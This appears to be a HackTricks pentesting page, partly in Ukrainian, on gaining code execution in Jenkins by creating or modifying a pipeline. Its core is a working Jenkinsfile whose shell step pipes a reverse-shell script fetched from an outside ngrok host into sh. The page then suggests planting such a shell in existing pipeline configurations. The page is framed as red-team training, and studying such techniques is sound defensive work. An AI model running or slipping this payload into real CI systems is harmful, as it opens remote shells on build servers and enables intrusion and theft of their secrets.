Jenkins RCE Creating/Modifying Pipeline

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Створення нового Pipeline

У "New Item" (доступно за адресою /view/all/newJob) виберіть Pipeline:

У Pipeline section напишіть reverse shell:

pipeline {
agent any

stages {
stage('Hello') {
steps {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
'''
}
}
}
}

Нарешті натисніть Зберегти, а потім Запустити зараз, і конвеєр буде виконано:

Модифікація конвеєра

Якщо ви можете отримати доступ до конфігураційного файлу деякого налаштованого конвеєра, ви можете просто модифікувати його, додавши ваш реверсний шелл, а потім виконати його або дочекатися, поки його виконають.

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

• Перевірте плани підписки!

• Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.

• Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.